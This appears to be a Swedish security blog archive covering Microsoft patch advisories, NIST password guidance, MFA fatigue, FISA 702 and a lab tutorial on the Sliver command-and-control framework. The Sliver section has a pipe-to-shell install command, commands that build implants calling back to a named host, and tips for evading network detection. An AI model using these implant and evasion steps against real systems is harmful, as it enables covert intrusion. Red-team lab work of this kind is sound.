I tisdags var det återigen dags för Microsofts månatliga Patch-tisdag, och denna gång adresserades ett antal mycket allvarliga säkerhetsbrister. Totalt patchades 16 sårbarheter som möjliggör Remote Code Execution (RCE), varav flera klassas som kritiska.
Den brist med högst CVSSv3 base score var en sårbarhet i Windows LDAP-hantering som hamnar på hela 9.8. Som förmildrande åtgärd rekommenderar Microsoft att blockera inkommande RPC-anrop, samt förhindra helt utgående trafik från domänkontrollanter. Vid utnyttjande av bristen så erhåller en eventuell angripare samma rättigheter som LDAP-tjänsten. Samt så klart installera själva patchen som åtgärdar bristen (och övriga brister inom LDAP som listas nedan).
Extended Protection for Authentication (EPA), SMB signing och LDAP signing + channel binding är rekommenderat att använda generellt i Windows-miljöer för att höja säkerheten.
Även så har ett aktivt utnyttjande av en zero-day i Windows Common Log File System (CLFS) identifierats och patchats, CVE-2024-49138. Den har en något lägre CVSS på 7.8, främst för att det är en lokal brist men medger rättighetshöjningar.
Nedan följer en tabell med samtliga tre brister som åtgärdas i LDAP:
Severity
CVSS Score
CVE
Description
Critical
9.8
CVE-2024-49112
Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability
Det amerikanska organisationen National Institute of Standards and Technology (NIST) uppmanar till att överge gamla metoder för lösenord till förmån för mer nya och effektiva skydd. Här har jag sammanfattat sex viktiga insikter från NIST:s nya rekommendationer som kan hjälpa Er organisation att skapa moderna och säkra lösenordspolicyer:
1. Prioritera längden på lösenordet framför komplexitet
Tidigare har många organisationer krävt komplexa lösenord med stora och små bokstäver, siffror och specialtecken. Men ny forskning visar att människor ofta skapar förutsägbara mönster som gör lösenorden lättare att gissa.
NIST föreslår istället att fokusera på lösenordets längd. Uppmuntra därför användare att skapa långa lösenfraser, som kombinerar orelaterade ord, exempelvis “lamas-kasett-trumpet7”. Dessa är både enklare att komma ihåg och svårare att knäcka än komplexa men förutsägbara lösenord.
2. Möjliggör långa lösenord
NIST rekommenderar att stödja lösenord upp till 64 tecken för att ge maximal flexibilitet och säkerhet. Även om lösenfraser inte är osårbara, erbjuder de bättre skydd än kortare alternativ. Se till att dina system tillåter tillräckligt långa lösenord:
SHALL require passwords to be a minimum of eight characters in length and SHOULD require passwords to be a minimum of 15 characters in length.
3. Inför multifaktorautentisering (MFA)
Enligt undersökningar från Microsoft saknade 99 % av alla komprometterade konton MFA. NIST understryker att MFA inte längre är valfritt – det är ett måste. Kombinera lösenord med ytterligare autentiseringsfaktorer för att öka säkerheten ytterligare.
4. Undvik frekventa lösenordsbyten
Många användare ogillar att ofta behöva byta lösenord ofta, och NIST rekommenderar att slopa denna praxis om det inte finns bevis för att ett lösenord har komprometterats. Ofta leder sådana krav till svagare lösenord, då användarna gör minimala ändringar. En mer balanserad strategi är att förlänga tiden mellan byten och istället använda verktyg som upptäcker komprometterade lösenord såsom HaveIBeenPwned.
5. Blockera komprometterade lösenord
Att använda lösenord som redan finns i databaser över tidigare läckor är en stor säkerhetsrisk. NIST rekommenderar att man kontrollerar nya lösenord mot dessa databaser för att förhindra att komprometterade lösenord används igen. Detta kan eliminera en vanlig attackmetod innan den utnyttjas. Och för att implementera detta kan exempelvis k-anonymitet användas eller nedladdade databaser från HaveIBeenPwned.
6. Sluta med lösenordstips och säkerhetsfrågor
Traditionella metoder som lösenordstips och säkerhetsfrågor är föråldrade och bör ej användas. Med dagens tillgång till information via sociala medier är svaren ofta enkla att hitta. NIST föreslår istället att använda säkrare alternativ som återställningslänkar via e-post eller MFA vid lösenordsåterställningar.
Att anpassa sig till NIST:s riktlinjer är ett viktigt steg mot starkare lösenordssäkerhet i din organisation. Genom att fokusera på lösenordslängd, använda MFA och förebygga vanliga misstag kan du skapa en säkerhetspolicy som är både användarvänlig och robust.
Här kan du läsa hela det nya dokumentet med rekommendationer:
Uppdatering: Enligt en källa på X (fd Twitter) så återfinnes sårbarheten i funktionen Ipv6pProcessOptions.
I veckan så var det dags för den månatliga patch-tisdagen, då Microsoft släpper viktiga buggfixar för Windows. Denna gång hanterades hela 90 CVE:er, varav en särskilt intressant sårbarhet stack ut: en 0-klick Remote Code Execution-sårbarhet i Windows TCP/IP-stack.
Detta innebär att skadlig kod kan fjärrexekveras på en Windows-server eller klient utan någon som helst användarinteraktion. Sårbarheten har identifierats som CVE-2024-38063 och återfinns specifikt i IPv6-delarna av TCP/IP-stacken. Den har tilldelats en allvarlighetsgrad på hela 9.8 och klassificeras som:
CWE-191: Integer Underflow (Wrap or Wraparound)
Denna kritiska sårbarhet upptäcktes av det kinesiska säkerhetsföretaget Kunlun Lab, och Microsoft har i sin säkerhetsrådgivning angivit att risken för utnyttjande är hög: Exploitation More Likely.
Rekommenderad åtgärd är att stänga av IPv6 temporärt alternativt installera denna månads säkerhetspatch.
Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.
Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).
Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:
Mutual TLS (mtls)
HTTP/s
DNS
Wireguard
Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.
Installation av Sliver
Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?
curl https://sliver.sh/install|sudo bash
Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.
Installationsvideo:
Och skärmdump för att hamna i kommandoskalet:
Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:
Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:
/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg
Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.
I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.
Skapa ett implantat
Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.
Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.
Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.
För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:
Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:
sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe
sliver >
Tittar vi lite närmare på filen ser den ut enligt följande:
┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep 2 09:04 implants/SHY_AIRSHIP.exe
Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:
sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe
sliver >
Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:
Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.
För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:
Exekvering av implantatet
Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.
Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:
Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:
Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.
Demo:
Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.
Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.
Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:
[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)
Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:
Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:
Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
Det finns ingen inbyggt persistens för implantatet, se följande issue.
Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.
En relativt ny metod för angripare att ta sig in i IT-system kallas för MFA-spamming (multifaktorautentisering). Dvs angriparna skickar förfrågningar om och om igen tills personen som använder MFA-appen till slut blir less och godkänner inloggningen. Som metod för MFA används vanligtvis SMS, OTP via app eller push-notifieringar. När hackergruppen LAPSUS$ angrep bl.a. Okta som jag tidigare skrivit om så tog dom sig in med just denna metod.
Metoden har observerats av Mandiant i tidigare rapporter och bl.a. så har ryska hackergrupper använt denna metod i några år. En av leverantörerna, Microsoft har nu infört så att man även kan matcha ett nummer i appen med det som visas på skärmen vid inloggning.
Här är en skärmdump på hur det ser ut vid inloggning via webbläsaren på desktop och det meddelande som dyker upp i Microsoft Authenticator-appen:
Använder du Microsoft Sentinel så kan följande KQL-frågor vara av intresse från reprise99:
Glöm inte heller att slå på Require number matching (preview) i Azure AD portalen. Attacken går även under namnet MFA fatigue attacks, vilket på svenska blir något i stil med MFA-utmattningsattack.
Observera även att denna attack används tillsammans med credential stuffing där läckta eller stulna kombinationer med användarnamn/lösenord används.
På tisdagen var det åter igen för Microsofts månatliga patch-release. En av de mer intressanta säkerhetsbristerna som åtgärdades var en Remote Code Execution (RCE) brist i http.sys. Sårbarheten har fått CVE-2022-21907.
Denna sårbarhet återfinns i hanteringen av HTTP-headers och mer specifikt HTTP trailers (RFC7230) och Microsoft uppger att sårbarheten kan utnyttjas för att spridas per automatik ”wormable”.
Som förmildrande åtgärd har Microsoft uppget att ta bort registernyckeln EnableTrailerSupport om den finns under denna sökväg:
Värt att notera är också att den har en CVSS base score på 9.8 av 10. Microsoft uppger även att standardinstallationer av Windows Server 2019 och Windows 10 version 1809 inte är sårbara, utan enbart om man manuellt slår på EnableTrailerSupport. Sårbarheten finns inte i Windows 10, version 1909.
Det är inte första gången som brister identifieras i http.sys, för att nämna några tidigare RCEer:
Daniel Melin som till vardags jobbar på Skatteverket har skrivit ett intressant inlägg på sin privata LinkedIn-sida där han går igenom amerikanska underrättelselagen FISA och speciellt FISA 702 och hur denna påverkar svenska medborgare. Kortfattat kan man säga att personuppgifter som behandlas av amerikanska företag i Sverige kan läsas av amerikansk underrättelsetjänst.
Jag har med tillstånd av Daniel återpublicerat texten här nedan:
En kommentarstråd till en Linkedin-post av Microsoft fick mig att på nytt börja fundera över FISA 702. Vad innebär FISA 702 egentligen? Hur långt sträcker den sig? Vad innebär avtalsvillkoren från de amerikanska leverantörerna i förhållande till FISA 702?
Eftersom det var Microsoft som var i ursprungligt fokus utgår jag från deras avtal och information, men genomgången har inte specifikt med Microsoft att göra, jag bara använder dem som exempel för att det ska bli enklare att förstå.
Kommentera gärna om jag missat eller missuppfattat något. Jag har skrivit efter bästa förmåga, men ämnet är svårt och ursprungstexterna är inte helt lättlästa.
När används FISA 702?
FISA 702 tillåter att den amerikanska regeringens chefsjurist (Attorney General) tillsammans med den nationella underrättelsechefen (Director of National Intelligence) godkänner inhämtning av information om (1) icke-amerikaner, (2) som sannolikt inte befinner sig i USA, samt (3) för att inhämta underrättelseinformation om andra länder.
Alltså omfattas allt som har med Sverige och svenska medborgare att göra av FISA 702.
Notwithstanding any other law, the President, through the Attorney General, may authorize electronic surveillance without a court order under this subchapter to acquire foreign intelligence information for periods of up to one year if the Attorney General certifies in writing under oath that the electronic surveillance is solely directed at the acquisition of the contents of communications transmitted by means of communications used exclusively between or among foreign powers, as defined in section 1801(a) (1), (2), or (3) of this title.
An electronic surveillance authorized by this subsection may be conducted only in accordance with the Attorney General’s certification and the minimization procedures adopted by him.
With respect to electronic surveillance authorized by this subsection, the Attorney General may direct a specified communication common carrier to:
(A)furnish all information, facilities, or technical assistance necessary to accomplish the electronic surveillance in such a manner as will protect its secrecy and produce a minimum of interference with the services that such carrier is providing its customers; and
(B)maintain under security procedures approved by the Attorney General and the Director of National Intelligence any records concerning the surveillance or the aid furnished which such carrier wishes to retain.
Alltså, utan domstolsbeslut kan NSA inhämta underrättelseinformation om andra länder via en kommunikationsleverantör utan att röja att inhämtning pågår. Inhämtad information kan därefter lagras på obestämd tid.
Vad anges i FISA Amendments Act of 2008 Section 702?
One of the primary purposes in enacting the FAA was the creation of a new way for the US Government to compel providers of electronic communications services to assist the Government in acquiring foreign intelligence information concerning non-US persons located outside the United States.
Certification 2008-A: Targeting Directed at Foreign Governments and Similar Entities
This collection will be accomplished by a variety of means at switches and other parts of the infrastructure of companies that provide electronic communications services to people abroad from within the United States.
The collection will seek to acquire foreign intelligence information concerning foreign governments, factions thereof and similar types of entities, and also states that a list of the entities that will be targeted is included as “Exhibit F” (Sverige är ett utpekat land i Exhibit F)
NSA may disseminate to CIA unevaluated data that comes from collection pursuant to this certification and that CIA requests in order to carry out its clandestine espionage and counterintelligence activities abroad.
NSA may also disseminate to FBI, at FBI’s request, unevaluated data that comes from collection pursuant to this certification.
Alltså, kommunikationsleverantörer ska hjälpa NSA att inhämta underrättelseinformation om t.ex. Sverige. Denna information kan sen delas med CIA och FBI.
Vad står i ett typiskt avtal med en amerikansk molntjänstleverantör?
Microsoft lämnar inte ut eller ger åtkomst till Behandlade data, utom enligt följande: (1) På Kundens instruktioner. (2) Enligt beskrivning i detta DPA. (3) Så som krävs enligt lag. I detta avsnitt avses med ”Behandlade data” följande: (a) Kunddata. (b) Personuppgifter. (c) Andra data som behandlas av Microsoft i samband med den onlinetjänst som är Kundens konfidentiella information enligt volymlicensieringsavtalet.
FISA 702 är en lag och omfattas således av (3).
Microsoft ska inte lämna ut eller ge åtkomst till Behandlade data till rättsvårdande myndighet såvida inte detta krävs enligt lag. Om rättsvårdande myndighet skulle kontakta Microsoft med en begäran om behandlade data ska Microsoft försöka hänvisa den rättsvårdande myndigheten till att begära dessa data direkt från Kunden. Om Microsoft är tvungna att lämna ut eller ge åtkomst till Behandlade data till rättsvårdande myndighet ska Microsoft omgående meddela Kunden och tillhandahålla en kopia av begäran, såvida inte Microsoft är förhindrade enligt lag att göra så.
NSA är såvitt jag vet inte en rättsvårdande myndighet i USA, utan en underrättelsemyndighet. Hela stycket synes endast hantera situationen med FBI och CLOUD Act.
Vid mottagande av tredje mans begäran om behandlade data ska Microsoft omgående meddela kunden, såvida inte detta är förbjudet enligt lag. Microsoft ska avvisa begäran utom då uppfyllelse krävs enligt lag. Om begäran är giltig ska Microsoft försöka hänvisa tredje man direkt till Kunden med sin begäran om data.
Begäran enligt FISA 702 är enligt lagtexten belagd med tystnadsplikt varför kund inte kommer informeras av Microsoft.
För mig framstår det tydligt att Microsoft kommer lämna ut kunders information till NSA utan att informera kunderna. Jag noterar även att det inte finns något om att informationens geografiska placering påverkar avtalet varför det förefaller uppenbart att FISA 702 träffar Microsoft som koncern.
Q: Do you give the U.S. government direct access to Skype and Outlook.com data flows as suggested by some stories reporting on documents released by Edward Snowden?
A: We’ve been clear about this. We do not provide any government with direct access to emails or instant messages. Full stop. Like all providers of communications services, we are sometimes obligated to comply with lawful demands from governments to turn over content for specific accounts, pursuant to a search warrant or court order.
Detta är förmodligen sant men NSA behöver inte direkt tillgång till meddelanden eller annan data eftersom Microsoft tvingas leta upp data och därefter överlämna denna data till NSA.
Notera även att svaret endast hanterar de situationer när det finns ett domstolsbeslut. FISA 702 bygger enligt lagtexten inte på domstolsbeslut.
Q: How does Microsoft define a FISA order seeking disclosure of content?
A: This category would include any FISA electronic surveillance orders (50 U.S.C. § 1805), FISA search warrants (50 U.S.C. § 1824), and FISA Amendments Act directives or orders (50 U.S.C. §1881 et seq.) that were received or active during the reporting period.
Notera frånvaron av FISA 702 (50 U.S.C. §1802)
Q: How does Microsoft define a FISA order requesting disclosure of noncontent?
A: This category would include any FISA business records (50 U.S.C. § 1861), commonly referred to as 215 orders, and FISA pen register and trap and trace orders (50 U.S.C. § 1842) that were received or active during the reporting period.
Notera frånvaron av FISA 702 (50 U.S.C. §1802)
Min slutsats
Jag har i viss mån missbedömt FISA 702 tidigare. Lagstiftningen är extremt långtgående både vad gäller vilken information som kan inhämtas och hur länge information får sparas.
Att EU-domstolen och EDPB går hårt fram gällande personuppgiftsbehandling i USA och hos amerikanska bolag som är kommunikationsleverantörer (t.ex. molntjänstleverantörer) förefaller högst rimligt. En personuppgiftsansvarig i Sverige är faktiskt förhindrad att göra en riskbedömning eftersom det är helt omöjligt att bedöma vilken data som samlas in, för vilket syfte och under vilken tid.
Artikel 28.1 i GDPR och artiklarna 7 och 8 i EU-stadgan kan helt enkelt inte uppfyllas av en amerikansk leverantör.
För oss som gillar homomorfisk kryptering (HE) så börjar det nu dyka upp användningsområden lite här och var. Kortfattat kan man säga att homomorfisk kryptering medger att du kan göra beräkningar på krypterad information. Något som kan vara mycket användbart när molntjänster nyttjas och du inte vill dela med dig av information till molnleverantören.
Microsoft är en leverantör som nu använder homomorfisk kryptering i dess mjukvara Edge för att kontrollera läckta lösenord, detta gör man via algoritmen Oblivious Pseudo-Random Function (OPRF). Tidigare har bl.a. Haveibeenpwned använt k-anonymity för att kontrollera lösenord mot läckta listor.
När vi ändå är inne på k-anonymitet så är det värt att nämna att det finns vissa problem och en beskrivning av Googles implementation hittar du här.
Vad som också är intressant är att Microsoft har släppt biblioteket för att göra detta som open-source och under MIT-licens. Biblioteket heter Microsoft SEAL och går att ladda hem här.
Bild som beskriver Microsofts Password Monitor Service och dess användning av OPRF:
NSA gick precis ut och varnade för en ny krypto-relaterad sårbarhet som drabbar samtliga installationer av Windows 10 samt Windows Server 2016/2019. Även påverkade är tredjepartsprogram som använder vissa kryptofunktioner i Windows.
Även skriver NSA att angripare med en god förmåga kommer snabbt att förstå hur dessa sårbarheter kan utnyttjas samt kommer att försöka utnyttja dessa nya sårbarheter.
Exempel där denna bristfälliga signaturvalidering förekommer är:
HTTPS-anslutningar
Signerade filer och signerad E-post
Signerade binärer som startas som användare
Och rekommendationen som åtgärd är att snabbt som ögat installera månadens patchar från Microsoft som släpptes idag. Denna sårbarhet har fått CVE enligt: CVE-2020-0601.
För att upptäcka intrångsförsök eller utnyttjande av bristerna som åtgärdas så kan verktyget certutil eller openssl användas rekommenderar NSA, specifikt på följande sätt:
certutil –asn <certificate_filename>
openssl asn1parse –inform DER –in <certificate_filename> –i –dump
Eller
openssl x509 –inform DER –in <certificate_filename> –text
Håll då koll på avvikande elliptiska kurvor skriver NSA:
Review the results for elliptic curve objects with suspicious properties. Certificates with named elliptic curves, manifested by explicit curve OID values, can be ruled benign. For example, the curve OID value for standard curve nistP384 is 1.3.132.0.34. Certificates with explicitly-defined parameters (e.g., prime, a, b, base, order, and cofactor) which fully-match those of a standard curve can similarly be ruled benign.
Certificates containing explicitly-defined elliptic curve parameters which only partially match a standard curve are suspicious, especially if they include the public key for a trusted certificate, and may represent bona fide exploitation attempts.
Kom ihåg att du även kan läsa ut certifikat från PCAP och nätverkstrafik och sedan granska dem enligt ovan.
Mycket bra att NSA har rapporterat denna brist/brister till Microsoft så en patch kunde släppas. Inga aktiva försöka att utnyttja denna sårbarhet har identifierats rapporterar även Microsoft och NSA.
Patch-gapping är ett nytt ord på en gammal metod som successivt ökar: Nämligen att utnyttja sårbarheter som åtgärdats av leverantörer, eller är på väg att åtgärdats av leverantörer. Området är närbesläktat med zero-days och patch-gapping kan även gå under benämningen 1-days eller n-days sårbarheter.
Under tiden som leverantören åtgärdar säkerhetsbristen eller det att användare ej uppdaterat sina system eller mjukvaror så finns det ett fönster för att utföra angrepp.
Detta är så klart något som angripare tar till vara på och utvecklar exploits så snart som det finns information om sårbarheter eller säkerhetsfixar. Ett område där detta uppdagas löpande är attacker mot webbläsare.
En av de första att utnyttja och påvisa denna typ av sårbarheter var Halvar Flake som utvecklade BinDiff runt år 2004. BinDiff används framförallt för att granska patchar som släpps av Microsoft och således se vilken kod som ändrats:
Men oftast så behövs det inte avancerad binär diffing utan räcker med att läsa changelog samt kolla git-repot eller motsvarande. När det gäller öppen källkod framförallt.
Företaget Exodus Intelligence har skrivit om patch-gapping gällande Google Chrome någragånger.
Följande graf har några år på nacken men visar på det window of opportunity som angriparen har på sig innan användaren uppdaterar till en ny version, i detta fall Google Chrome:
